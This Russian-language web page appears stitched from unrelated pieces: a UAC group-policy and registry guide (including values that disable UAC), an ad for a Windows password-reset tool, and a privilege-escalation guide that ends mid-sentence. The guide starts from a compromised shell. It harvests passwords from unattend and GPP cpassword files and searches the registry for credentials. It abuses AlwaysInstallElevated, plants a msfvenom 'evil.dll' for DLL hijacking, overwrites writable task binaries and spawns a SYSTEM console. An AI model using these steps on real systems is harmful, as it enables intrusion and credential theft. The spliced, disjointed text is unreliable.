Повышение привилегий в Windows. Повышение прав без запроса пароля админа, для конкретного приложение Повышение привилегий с BeRoot

Части статьи был подробно описан принцип работы контроля учетных записей пользователей. В этой части речь пойдет о настройке UAC в том случае, когда ваш компьютер работает автономно, то есть не входит в состав домена Active Directory. Для настройки контроля учетных записей пользователей служит функция локальной политики безопасности, которую можно найти в редакторе объектов локальной групповой политики.

Существует 10 настроек групповой политики, отвечающих за настройку контроля учетных записей пользователей. Для того, чтобы изменить параметры политики, нужно открыть в оснастке «Редактор локальной групповой политики» узел Конфигурация компьютера\Конфигурация Windows\Параметры безопасности\Локальные политики\Параметры безопасности . В этой статье вы также найдете способ настройки каждого параметра политики средствами системного реестра. В следующей таблице приведены значения по умолчанию для каждого из параметров политики.

Настройки параметров групповых политик контроля учетных записей по умолчанию:

Параметр групповой политики Значение по умолчанию
Контроль учетных записей: включение режима одобрения администратором Включен
Контроль учетных записей: обнаружение установки приложений и запрос на повышение прав Включен
Контроль учетных записей: переключение к безопасному рабочему столу при выполнении запроса на повышение прав Включен
Контроль учетных записей: поведение запроса на повышение прав для администраторов в режиме одобрения администратором Запрос согласия для двоичных данных не из Windows
Контроль учетных записей: поведение запроса на повышение прав для обычных пользователей Запрос учетных данных
Контроль учетных записей: повышать права только для UIAccess-приложений, установленных в безопасном местоположении Включен
Контроль учетных записей: повышение прав только для подписанных и проверенных исполняемых файлов Отключен
Контроль учетных записей: при сбоях записи в файл или реестр виртуализация в размещение пользователя Включен
Контроль учетных записей: разрешать UIAccess-приложениям запрашивать повышение прав, не используя безопасный рабочий стол Отключен
Контроль учетных записей: использование режима одобрения администратором для встроенной учетной записи администратора Отключен

Параметры групповых политик, которые имеют отношение к контролю учетных записей пользователей (UAC) подробно рассмотрены ниже:

Все администраторы работают в режиме одобрения администратором

Этот параметр политики определяет характеристики всех политик контроля учетных записей для компьютера. От данного параметра зависит, будут ли учетные записи администраторов запускаться в «режиме одобрения администратором», то есть будут ли отображаться диалоги с запросом на повышение полномочий. Отключение этой настройки, грубо говоря, полностью отключает функционал контроля учетными записями пользователей. При изменении этого параметра политики необходимо перезагрузить компьютер. Значение по умолчанию - включено.

Возможные значения параметра:

  • Включено . Режим одобрения администратором включен для того, чтобы разрешить встроенной учетной записи администратора и всем остальным пользователям, являющимся членами группы «Администраторы» , работать в режиме одобрения администратором.
  • Отключено . Режим одобрения администратором и все соответствующие параметры политики контроля учетных записей будут отключены.

;Отключить "EnableLUA"=dword:00000000

Обнаружение установки приложений и запрос на повышение прав

Эта настройка определяет характеристики обнаружения установки приложений для компьютера, проверяя подписаны ли программы, применяемые для развертывания приложений или нет. По умолчанию, если пользователь входит в рабочую группу, она включена.

Возможные значения параметра:

  • Включено (по умолчанию для дома) . В том случае, если программа установки приложений обнаруживает необходимость повышения полномочий, пользователю предлагается ввести имя пользователя и пароль учетной записи администратора. Если пользователь вводит правильные учетные данные, операция продолжается с соответствующими правами. Вид запроса зависит от того, к какой группе принадлежит пользователь.
  • Отключено (по умолчанию для организации) . При выборе этой настройки, обнаружение программы установки приложений не выдает запрос на повышение полномочий. Обычно эта настройка применяется в организациях, компьютеры и пользователи которой входят в состав домена и для развертывания приложений используются технологии делегированной установки (Group Policy Software Install - GPSI). Соответственно, необходимость в обнаружении установщика отпадает.

Настройки текущей политики при помощи реестра:

;Отключить "EnableInstallerDetection"=dword:00000000

Переключение к безопасному рабочему столу при выполнении запроса на повышение прав

Данный параметр политики определяет, будут ли запросы на повышение полномочий выводиться на интерактивный рабочий стол пользователя или на безопасный рабочий стол при инициировании UAC-запроса. Значение по умолчанию - включено. При изменении этого параметра политики необходимо перезагрузить компьютер.

Возможные значения параметры:

  • Включено . Все запросы на повышение прав выводятся на безопасный рабочий стол независимо от параметров политики поведения приглашения для администраторов и обычных пользователей.
  • Отключено . Все запросы на повышение прав выводятся на интерактивный рабочий стол пользователя.

Настройки текущей политики при помощи реестра:

;Отключить "PromptOnSecureDesktop"=dword:00000000

Поведение запроса на повышение прав для администраторов в режиме одобрения администратором

Текущая настройка позволяет определить действия пользователя, который входит в группу «Администраторы» при выполнении операции, требующей повышения прав. Значение по умолчанию установлено «Запрос согласия для сторонних двоичных файлов (не Windows)» .

Возможные значения параметра:

  • Повышение без запроса . Позволяет привилегированным учетным записям выполнить операцию, требующую повышения прав, без подтверждения согласия или ввода учетных данных. Желательно использовать данную опцию только в средах с максимальными ограничениями пользователей. При выборе этой настройки, пользовательские полномочия станут идентичными встроенной учетной записи администратора.
  • . Для любой операции, требующей повышения прав, на безопасном рабочем столе будет выводиться предложение ввести имя и пароль привилегированного пользователя. Если вводятся правильные учетные данные, операция будет продолжена с максимальными доступными правами пользователя.
  • Запрос согласия на безопасном рабочем столе . Для любой операции, требующей повышения прав, на безопасном рабочем столе будет выводиться предложение выбрать: «Разрешить» или «Запретить» . При выборе опции «Разрешить» , операция будет продолжена с максимальными доступными правами пользователя.
  • Запрос учетных данных . Для любой операции, которая требует повышения полномочий, будет выводиться предложение ввести имя пользователя и пароль учетной записи администратора. При вводе правильных учетных данных, операция будет продолжена с повышенными полномочиями.
  • Запрос согласия . При выборе этой опции, для любой операции, требующей повышения прав, пользователю будет предлагаться выбрать нажать на кнопку: «Разрешить» или «Запретить» . При нажатии на кнопку «Разрешить»
  • Запрос согласия для сторонних двоичных файлов (не Windows) . При выборе этой опции, на безопасном рабочем столе будет выводиться предложение выбора: «Разрешить» или «Запретить» , в том случае, когда операция для приложения стороннего (не Майкрософт) производителя требует повышения прав. По нажатию на кнопку «Разрешить» , операция будет продолжена с максимальными доступными привилегиями пользователя.

Настройки текущей политики при помощи реестра:

;Повышение без запроса "ConsentPromptBehaviorAdmin"=dword:00000000 ;Запрос учетных данных на безопасном рабочем столе;"ConsentPromptBehaviorAdmin"=dword:00000001 ;Запрос согласия на безопсном рабочем столе;"ConsentPromptBehaviorAdmin"=dword:00000002 ;Запрос учетных данных;"ConsentPromptBehaviorAdmin"=dword:00000003 ;Запрос согласия;"ConsentPromptBehaviorAdmin"=dword:00000004 ;Запрос согласия для двоичных данных не из Windows ;"ConsentPromptBehaviorAdmin"=dword:00000005

Поведение запроса на повышение прав для обычных пользователей

Данный параметр политики определяет выполняемые действия при взаимодействии обычного пользователя с приложениями, требующими повышения прав. Значение по умолчанию - «Запрос учетных данных на безопасном рабочем столе» .

Возможные значения параметра:

  • Запрос учетных данных . Используя этот параметр, обычному пользователю предлагается выбрать учетную запись администратора и ввести пароль для выполнения последующих действий. Операция будет продолжена только в том случае, если учетные данные введены правильно.
  • Автоматически запретить запросы на повышение прав . При выборе этого параметра, для обычного пользователя будет показано сообщение об ошибке в связи с запретом на доступ в случае выполнения операции, требующей повышения полномочий. Организации, настольные компьютеры которых используются обычными пользователями, могут выбрать этот параметр политики для уменьшения числа обращений в службу поддержки.
  • Запрос учетных данных на безопасном рабочем столе . Выбрав данный параметр, обычному пользователю предлагается выбрать учетную запись администратора и ввести пароль для выполнения последующих действий только на безопасном рабочем столе. Операция будет продолжена только в том случае, если учетные данные введены правильно.

Настройки текущей политики при помощи реестра:

;Автоматически отклонять запросы на повышение прав "ConsentPromptBehaviorUser"=dword:00000000 ;Запрос учетных данных на безопасном рабочем столе "ConsentPromptBehaviorUser"=dword:00000001 ; Запрос учетных данных "ConsentPromptBehaviorUser"=dword:00000003

Повышать права для UIAccess-приложений только при установке в безопасных местах

Текущий параметр политики позволяет управлять разрешением на местонахождение приложений, которые запрашивают выполнение на уровне целостности, определяющейся атрибутом пользовательского интерфейса доступа (User Interface of Access - UIAccess) в безопасном месте файловой системы. По умолчанию, эта настройка включена и у приложений со специальными возможностями, для атрибута UIAccess в манифесте устанавливается значение True для управления окна запроса повышения превелегий. Если у приложений значение false, то есть если атрибут опущен или отсутствует манифест для сборки, приложение не сможет получить доступ к защищенному пользовательскому интерфейсу. Безопасными считаются только следующие папки:

…\Program Files\, включая вложенные папки

…\Windows\system32\

…\Program Files (x86)\, включая вложенные папки для 64-разрядных версий Windows

Возможные значения параметра:

  • Включено . Приложение будет запускаться с уровнем целостности UIAccess только в том случае, если оно находится в безопасной папке файловой системы.
  • Отключено . Приложение будет запускаться с уровнем целостности UIAccess, даже если оно не находится в безопасной папке файловой системы.

Настройки текущей политики при помощи реестра:

;Отключить "EnableSecureUIAPaths"=dword:00000000

Повышение прав только для подписанных и проверенных исполняемых файлов

Данная настройка групповой политики контроля учетных записей позволяет определять, нужно ли выполнять проверку подлинности подписей интерактивных приложений с инфраструктурой открытого ключа (Public key infrastructure PKI), которые требуют повышения полномочий. Задачей PKI является определение политики выпуска цифровых сертификатов, выдача их и аннулирование, хранение информации, необходимой для последующей проверки правильности сертификатов. В число приложений, поддерживающих PKI, входят: защищенная электронная почта, протоколы платежей, электронные чеки, электронный обмен информацией, защита данных в сетях с протоколом IP, электронные формы и документы с электронной цифровой подписью. Если включена эта проверка, то программы инициируют проверку пути сертификата. Значение этой настройки по умолчанию - Отключено.

Возможные значения параметра:

  • Включено . Принудительно инициируется проверка пути PKI-сертификатов, прежде чем запускается на исполнение данный файл. В основном данная настройка используется в организациях с доменом, в том случае если администратор поместил PKI-сертификаты в хранилище надежных издателей.
  • Отключено . При установке этого параметра, контроль учетных записей не инициирует проверку цепочки верификации PKI-сертификатов, прежде чем разрешить выполнение данного исполняемого файла.

Настройки текущей политики при помощи реестра:

;Отключить "ValidateAdminCodeSignatures"=dword:00000000

При сбоях записи в файл или реестр виртуализация в место размещения пользователя

Этот параметр управляет перенаправлением сбоев записи приложений в определенные расположения в реестре и файловой системе. В случае, если эта настройка включена, для устаревших приложений, которые пытаются считывать или записывать информацию, используя защищенные области системы, контроль учетных записей виртуализирует реестр и файловую систему. Благодаря этой настройке, UAC позволяет уменьшить опасность устаревших приложений, которые выполняются от имени администратора и во время выполнения записывают данные в папку %ProgramFiles%, %Windir%; %Windir%\system32 или в раздел системного реестра HKLM\Software\. Значение по умолчанию - включено.

Возможные значения параметра:

  • Включено . Сбои записи приложений перенаправляются во время выполнения в определенные пользователем расположения в файловой системе и реестре.
  • Отключено . Выполнение приложений, записывающих данные в безопасные расположения, заканчивается ошибкой, и не будет исполняться.

Настройки текущей политики при помощи реестра:

;Отключить "EnableVirtualization"=dword:00000000

Разрешить UIAccess-приложениям запрашивать повышение прав, не используя безопасный рабочий стол

Этот новый параметр политики, появившийся в операционных системах Windows 7 и Windows Server 2008 R2, определяет, могут ли UIAccess-приложения автоматически отключать безопасный рабочий стол для запросов на повышение полномочий, используемых обычным пользователем. Значение по умолчанию - отключено.

Возможные значения параметра:

  • Включено . При выборе этой настройки, UIAccess-программы, в том числе удаленный помощник Windows, автоматически отключают безопасный рабочий стол для запросов на повышение полномочий. Если параметр политики «Контроль учетных записей: переключение к безопасному рабочему столу при выполнении запроса на повышение прав» включен, то предложение появится на интерактивном рабочем столе пользователя, а не на безопасном рабочем столе.
  • Отключено . При выборе этого параметра, безопасный рабочий стол может быть отключен только пользователем интерактивного рабочего стола или путем отключения параметра политики «Контроль учетных записей: переключение к безопасному рабочему столу при выполнении запроса на повышение прав» .

Настройки текущей политики при помощи реестра:

;Отключить "EnableUIADesktopToggle"=dword:00000000

Режим одобрения администратором для встроенной учетной записи администратора

Данная настройка определяет, применяется ли в контроле учетных записей пользователей режим одобрения администратором к встроенной учетной записи «Администратор» . Эта встроенная учетная запись по умолчанию позволяет пользователю входить в систему в режиме совместимости с Windows XP, что разрешает запускать любые приложения с полными правами администратора. По умолчанию этот параметр политики отключен.

Возможные значения параметра:

  • Включено . При выборе этого значения параметра, для встроенной учетной записи администратора будет использоваться режим одобрения администратором. При этом любая операция, требующая повышения прав, будет сопровождаться запросом на подтверждение операции.
  • Отключено . Встроенная учетная запись администратора выполняет все приложения с полными правами администратора.

Настройки текущей политики при помощи реестра:

;Отключить "FilterAdministratorToken"=dword:00000000

Заключение

В этой статье рассказывается обо всех возможных настройках контроля учетных записей пользователей. Рассмотрены все десять параметров политики безопасности, которые отвечают за все возможные действия, связанные с UAC. Кроме настройки контроля учетных записей при помощи групповой политики, также рассмотрены эквивалентные им твики реестра.

Elcomsoft System Recovery Professional v 3.0.0.466 Retail ML RUS - Специально подготовленный iso образ для восстановления паролей к любой учётной записи в любой винде.

Львиная доля всех обращений в службы технической поддержки связаны с утерянными или забытыми паролями на вход в систему. Данная программа поможет, восстановите или замените пароль легко и быстро! Без необходимости переформатировать диск или переустанавливать Windows. Загрузите компьютер с готового к использованию диска, и разблокируйте вашу систему в несколько минут! Elcomsoft System Recovery позволяет мгновенно сбросить пароли к учётным записям, позволяя так же путем ряда атак, в ряде случаев за короткое время найти оригинальные пароли.

Elcomsoft System Recovery разблокирует учётные записи Администратора и других пользователей в системах Windows 2000, Windows 7 (32-битная и 64-битная версии), Windows 98, Windows Server 2003/2008, Windows Vista (32-битная и 64-битная версии), Windows XP.

Возможности Elcomsoft System Recovery:

Готов к загрузке – базируется на системе Windows (Preinstallation Environment), лицензированной у Microsoft.
-Восстановление или сброс паролей к учётным записям как Администратора, так и всех других пользователей.
-Восстановление оригинальных паролей (в некоторых случаях), обеспечивающее доступ к данным, зашифрованным с использованием EFS.
-Разблокирование учётных записей (имеющих статус locked или disabled).
-Поднятие привилегий (до уровня администратора) для любой учётной записи.
-Доступ к учётным записям, у которых истёк срок действия пароля.
-Поддержка широкого спектра аппаратного обеспечения; нативная поддержка файловых систем FAT, FAT32 и NTFS.
-Привычный графический интерфейс Windows – легко и удобно использовать.
-Поддержка всего спектра операционных систем: Windows 2000, Windows 7 (32-битная и 64-битная версии), Windows 98, Windows Server 2003/2008, Windows Vista (32-битная и 64-битная версии), Windows XP.
-Поддержка американской, русской и других локализованных версий Windows; работа с именами пользователей и паролями на всех языках.
-Автоматическое определение всех установленных копий Windows.
-Возможность выгрузки хэшей паролей (для дальнейшего анализа и восстановления) как из локального реестра, так и из Active Directory.

Готов к загрузке:

Elcomsoft System Recovery поставляется в виде загрузочного диска, который можно использовать немедленно; при необходимости можно создать загрузочный USB-диск. Нет необходимости записывать диск самостоятельно; доступ к дистрибутиву Windows тоже не нужен.
Компания «Элкомсофт» лицензировала систему Windows Preinstallation Environment (Windows PE) у Microsoft.

Легко использовать:

Система Windows PE предоставляет удобный и привычный интерфейс Windows. Никаких скриптов, никакой командной строки, никаких сложных настроек!
Просто загрузите компьютер с CD или флеш-диска Elcomsoft System Recovery и решите все проблемы, связанные с доступом в систему.

Широкая совместимость:

Elcomsoft System Recovery поддерживает широчайший спектр аппаратного обеспечения, включая контроллеры SATA, SCSI и RAID от большинства производителей: Adaptec, Intel, LSI, NVIDIA, Promise, SiS и VIA. Даже в том случае, если используется какой-то экзотический контроллер, вы можете подгрузить необходимый драйвер (обычно поставляется вместе с оборудованием) с дискеты, CD или флеш-диска.

В отличие от других продуктов, использующих собственный код надёжность и совместимость которого не гарантируется, Elcomsoft System Recovery включает нативную (от Microsoft) поддержку всех файловых систем Microsoft: FAT, FAT32 и NTFS.

В общем, тут представлены способы, которые помогут нам достигнуть цели повышения привилегий.

Отправной точкой для этой небольшой статьи является непривилегированная оболочка (учетная запись). Возможно, мы использовали эксплойт или провели атаку и получили эту оболочку.

В принципе, в начальный момент времени мы не понимаем машину: что она делает, к чему она подключена, какой уровень привилегий у нас есть или даже какая это операционная система.

Сначала нам нужно получить нужную нам информацию, чтобы понять, где мы вообще находимся и что имеем:

Systeminfo | findstr /B /C:"Название ОС" /C:"Версия ОС"
Эта команда позволяет определить, как из нее видно, Название и версию ОС. Можно выполнить ее и без параметров, тогда вывод команды будет более полным, но нам достаточно и этого.

  • hostname - имя пользователя.
  • echo %username% - имя пользователя.
Далее посмотрим, какие пользователи есть еще на данном хосте и получим более подробную информацию о своем пользователе.
  • net users - другие пользователи
  • net user user1 - детальная информация по пользователю, где user1 - имя вашего пользователя.
Получив информацию об учетке, посмотрим информацию о сетевом взаимодействии данного хоста.

Сначала глянем на имеющиеся интерфейсы и таблицу маршрутизации.

  • ipconfig /all - информация об имеющихся интерфейсах.
  • route print - таблица маршрутизации
  • arp -A - таблица arp записей
Далее посмотрим активные сетевые подключения и правила брандмауэра.
  • netstat -ano - активные сетевые подключения.
-a - запуск с данным параметром выведет на экран все активные подключения TCP, а также порты TCP и UDP, прослушиваемые системой;
-n - параметр позволяет показать активные подключения TCP с адресами и номерами портов;
-o - так же, как и предыдущий ключ, выводит активные TCP подключения, но в статистику добавлены коды процессов, по ним уже можно точно определить, какое именно приложение использует подключение.
  • netsh firewall show state - статус брандмауэра
  • netsh firewall show config - конфигурация брандмауэра
Наконец, мы кратко рассмотрим, что работает на скомпрометированном хосте: запланированные задачи, запущенные процессы, запущенные службы и установленные драйверы.

Schtasks /query /fo LIST /v
где
/query - Вывод данных о всех запланированных задачах,
/fo LIST - Вывод в список.
/v - Вывод подробных сведений о задании.

Следующая команда связывает запущенные процессы с запущенными службами.

Tasklist /SVC
где,
/SVC - Отображение служб для каждого процесса.

Также посмотрим список запущенных служб Windows.

Net start
Полезно также посмотреть информацию о драйверах скомпрометированной системы.

DRIVERQUERY
Далее хочется упомянуть о, наверное, самой полезной команде Windows - wmic. Команда WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). Хорошее описание .

К сожалению, некоторые конфигурации Windows по умолчанию не разрешают доступ к WMIC, если пользователь не входит в группу Администраторов (что действительно хорошая идея). Любая версия XP не позволяла доступ к WMIC с непривилегированной учетной записи.

Напротив, Windows 7 Professional и Windows 8 Enterprise по умолчанию позволяли пользователям с низкими привилегиями использовать WMIC.

По обычаю - параметры программы:

Прежде чем идти дальше стоит пробежаться по собранной информации. Также стоит обратить внимание на установленные в системе патчи, так как любая информация о дырах в системе даст нам дополнительную опору для повышения своих привилегий. По номеру HotFix можно поискать уязвимости по повышению привилегий.

Далее мы рассмотрим автоматическую установку. Если существует необходимость установки и настройки большого парка машин, то как правило, технический персонал не будет перемещаться от машины к машине для настройки персонального каждой. Существует несколько решений для автоматической установки. Для нас не так важно, что это за методы и как они работают, а важно то, что они оставляют конфигурационные файлы, которые используются для процесса установки, содержащие много конфиденциальной информации, такой как ключ продукта операционной системы и пароль администратора. Что нас больше всего интересует, так это пароль администратора, который мы можем использовать для повышения наших привилегий.

Как правило, это следующие каталоги:

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattended.xml
  • %WINDIR%\Panther\Unattended.xml
Но стоит проверить и всю систему.

Данные файлы содержат пароли в открытом виде или кодировке BASE64.
Примеры:

Sysprep.inf - пароль в открытом виде.

Sysprep.xml - пароль в кодировке base64.

"

Unattended.xml - пароль в кодировке base64.

Также для хостов, подключенных к домену можно поискать файл Group.xml, который содержит зашифрованный AES256 пароль, но который можно расшифровать, т.к. ключ выложен на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и других источниках. Но это в случае, если используется политика создания локальных пользователей на хостах или, например, задании пароля локальному Администратору.

Например, у меня лежит тут:

Открыв его, ищем параметр “cpassword”.

Далее нужно расшифровать данную последовательность. Используем, например, CrypTool . Сначала раскодируем Base64.
Особенности Base64 в том, что его длина должна быть кратна 4. Поэтому считаем блоки по 4, и если в последнем блоке не хватает символов, то недостающие дописываем символами «=».
У меня вышло 2 «=».

Убираем лишние точки, разделяющие знаки и получаем пароль.

В дополнение к Group.xml вот несколько других файлов предпочтений политики, которые могут иметь дополнительный набор атрибутов «cPassword”:

  • Services\Services.xml
  • ScheduledTasks\ScheduledTasks.xml
  • Printers\Printers.xml
  • Drives\Drives.xml
  • DataSources\DataSources.xml
Однако мы все любим автоматизированные решения, поэтому мы можем добраться до финиша как можно быстрее. Здесь есть два основных варианта, в зависимости от типа оболочки/доступа, который у нас есть. Существует модуль metasploit, который может быть выполнен через установленную сессию (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или Вы можете использовать Get-GPPPassword, который является частью PowerSploit .

Для того, чтобы иметь возможность использовать это, мы должны проверить, что оба раздела реестра установлены, и если это так, мы можем получить SYSTEM shell. Проверим:

Reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения msi-файл прекращает установку, чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то даже не выведется ошибка.

Ну и немного полезных команд по поиску по системе:

Команда ниже будет искать в файловой системе имена файлов, содержащие определенные ключевые слова. Вы можете указать любое количество ключевых слов.

Dir /s *pass* == *cred* == *vnc* == *.config*
Поиск определенных типов файлов по ключевому слову, эта команда может генерировать много выходных данных.

Findstr /si password *.xml *.ini *.txt
Аналогично две команды ниже могут быть использованы для grep реестра по ключевым словам, в данном случае „password“.

Reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
На данный момент у нас уже есть достаточно, чтобы получить системный шел. Но есть еще пара направленbй атаки для получения желаемого результата: мы рассмотрим службы Windows и разрешения для файлов и папок. Наша цель здесь - использовать слабые разрешения для повышения привилегий сеанса.

Мы будем проверять много прав доступа, в этом нам поможет accesschk.exe, который является инструментом от Microsoft Sysinternals Suite. Microsoft Sysinternals содержит много отличных инструментов. Пакет можно загрузить с сайта Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Мы можем проверить необходимый уровень привилегий для каждой службы с помощью accesschk.

Мы можем видеть разрешения, которые имеет каждый уровень пользователя.

Accesschk может автоматически проверять, есть ли у нас доступ на запись к службе Windows с определенным уровнем пользователя. Как правило, как пользователь с низкими привилегиями, мы хотим проверить „Пользователей“. Удостоверьтесь, что проверили, к каким группам пользователей вы принадлежите.

C В качестве имени указана служба Windows, например ssdpsrv (укажите “*” для вывода на экран всех служб)
-d Обрабатывать только каталоги
-e Выводить только явным образом заданные уровни целостности (только для ОС Windows Vista)
-k В качестве имени указан раздел реестра, например hklm\software
-n Выводить только объекты, не имеющие правил доступа
-p В качестве имени указано имя или идентификатор процесса (PID), например cmd.exe (укажите в качестве имени “*”, чтобы вывести на экран все процессы)
-q Опустить заголовок
-r Выводить только объекты, к которым есть право доступа на чтение
-s Рекурсивная обработка
-v Выводить подробную информацию
-w Выводить только объекты, к которым есть право доступа на запись

Также есть еще одна интересная команда:

Autorunsc.exe -a | findstr /n /R "File\ not\ found"
Позволяет найти запись в реестре о файле, который запускался автоматически, но сейчас уже отсутствует в системе. Запись могла остаться, если например, сервис был неправильно удален. При каждом запуске система безуспешно пытается запустить этот файл. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Просто на место этого файла можно подставить наш.

Первая: реплицируем результаты поста, написанного Parvez из GreyHatHacker; „Elevating privileges by exploiting weak folder permissions“ (http://www.greyhathacker.net/?p=738).

Этот пример является частным случаем угона dll. Программы обычно не могут функционировать сами по себе, у них есть много ресурсов, которые им нужно подключить (в основном dll, но и собственные файлы). Если программа или служба загружает файл из каталога, к которому у нас есть доступ на запись, мы можем злоупотребить этим, чтобы запустить оболочку с привилегиями, под которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска, чтобы найти dll, и он будет проверять эти пути в определенном порядке. Dll угон обычно происходит путем размещения вредоносных dll по одному из этих путей. Эта проблема может быть устранена путем указания приложению абсолютных путей к необходимой dll.

Порядок поиска dll:

  1. Директория с которой запущено приложение
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. Действующая рабочая директория (CWD)
  6. Directories in the PATH environment variable (system then user)
Иногда приложения пытаются загрузить dll файлы, отсутствующие на машине. Это может произойти по нескольким причинам, например, если библиотека dll требуется только для определенных подключаемых модулей или компонентов, которые не установлены. В этом случае Parvez обнаружил, что некоторые службы Windows пытаются загрузить библиотеки dll, которые не существуют в установках по умолчанию.

Так как dll не существует, мы в конечном итоге прохождения всех путей поиска. Как пользователь с низким уровнем привилегий у нас немного шансов положить вредоносный dll в п. 1-4, 5. Но если у нас есть доступ на запись в любой из каталогов, то наши шансы на победу велики.

Давайте посмотрим, как это работает на практике, для нашего примера мы будем использовать IKEEXT (модули ключей IPSec IKE и AuthIP) сервис, который пытается загрузить wlbsctrl.dll.

Любой каталог в „C:\“ даст доступ на запись для аутентифицированных пользователей, это дает нам шанс.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"
C:\Python27 Medium Mandatory Level (Default) RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL
C:\Users\user1\Desktop> icacls "C:\Python27"
C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
F - полный доступ.
(OI) - наследование объектами.
(CI) - наследование контейнерами.
(IO) - только наследование.
(NP) - запрет на распространение наследования.
(I)- наследование разрешений от родительского контейнера.

Прежде чем перейти к действию, необходимо проверить состояние службы IKEEXT. В этом случае мы можем увидеть, что он установлен на „AUTO_START“!

Sc qc IKEEXT
QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE: 20 WIN32_SHARE_PROCESS START_TYPE: 2 AUTO_START ERROR_CONTROL: 1 NORMAL BINARY_PATH_NAME: C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP: TAG: 0 DISPLAY_NAME: IKE and AuthIP IPsec Keying Modules DEPENDENCIES: BFE SERVICE_START_NAME: LocalSystem
Теперь мы знаем, что у нас есть необходимые условия, и мы можем создать вредоносную dll и перехвата оболочки!

Используем Metasploit -> msfvenom, это например.

После передачи evil.dll на наш целевой компьютер все, что нам нужно сделать, это переименовать его в wlbsctrl.dll и переместить в „C:\Python27“. Как только это будет сделано, нам нужно терпеливо ждать перезагрузки машины (или мы можем попытаться принудительно перезагрузить), и мы получим системную оболочку.

Copy evil.dll C:\Python27\wlbsctrl.dll
После этого осталось только дождаться перезагрузки системы.

Для нашего последнего примера мы рассмотрим запланированные задачи. Опишу принцип, т.к. у всех могут быть разные случаи.

Находим процесс, службу, приложение запускаемое планировщиком задач от SYSTEM.
Проверяем права доступа на папку, где находится наша цель.

Accesschk.exe -dqv "путь_к_цели"
Ясно, что это серьезная проблема конфигурации, но еще хуже тот факт, что любой прошедший проверку Пользователь (аутентифицированный пользователь) имеет доступ на запись в эту папку. В этом примере мы можем просто перезаписать двоичный исполняемый файл файлом, сгенерированным в metasploit.

Можно закодировать дополнительно.

Теперь остается только загрузить вредоносный исполняемый файл и перезаписать его в папку выполняемого файла. Как только это будет сделано, мы можем спокойно идти спать и рано с утра получить системный шел.

Эти два примера должны дать нам представление об уязвимостях, которые необходимо искать при рассмотрении разрешений для файлов и папок. Потребуется время, чтобы изучить все пути binpath для служб windows, запланированные задачи и задачи автозапуска.

Напоследок пара советов по использованию accesschk.exe.

Найти все слабые разрешения для папок на диске.

Accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\
Найти все слабые разрешения для файлов на диске.

Accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.*
Вроде всё.

Повышение привилегий, пожалуй, один из ключевых моментов, от которого зависит сценарий дальнейшего проведения пентеста или атаки. Очень часто на этом этапе все и заканчивается, если не получается «расширить свои полномочия». Поэтому сегодня мы немного поговорим о способах, позволяющих пользователю повысить свои привилегии не только до администраторских, но и до системных.

Введение

Повышение привилегий в Windows и Linux несколько различается. Несмотря на то что обе операционные системы несут обычное число уязвимостей, исследователи отмечают, что полностью пропатченный Windows-сервер встречается гораздо чаще, чем обновленный до актуального состояния Linux. К тому же время выхода виндовых патчей зачастую меньше, что делает повышение привилегий на винде задачей достаточно интересной и амбициозной. Именно ей мы и посвятим наш рассказ.

Варианты

Итак, какие у нас есть возможности приподняться в мире Windows? Прежде всего, в последнее время в ядре ОС было найдено достаточно уязвимостей, связанных с парсингом шрифтов, что делает процесс повышения привилегий достаточно простым, если на руках есть подходящий сплоит. Если ты используешь Metasploit, то достаточно всего лишь одной команды, чтобы получить системный шелл. Однако все это с большой вероятностью успешно сработает только в том случае, если система не полностью пропатчена. Если же на машине установлены все обновления, то, в отличие от Linux, здесь не получится найти SUID-бинарников, а переменные окружения обычно не передаются сервисам или процессам с более высокими привилегиями. Что же в результате нам остается?

От админа до системы, или то, что знают все

Обычно при упоминании повышения привилегий на ум сразу приходит способ, использующий планировщик задач. В винде можно добавить задачу с помощью двух утилит: at и schtasks . Вторая запустит задачу от имени пользователя, добавившего задание, в то время как первая - от имени системы. Стандартный трюк, о котором ты наверняка слышал, позволяющий запустить консоль с правами системы:

At 13:01 /interactive cmd

Второе, что приходит в голову, - это добавление сервиса, который будет запускать необходимый файл / выполнять команду:

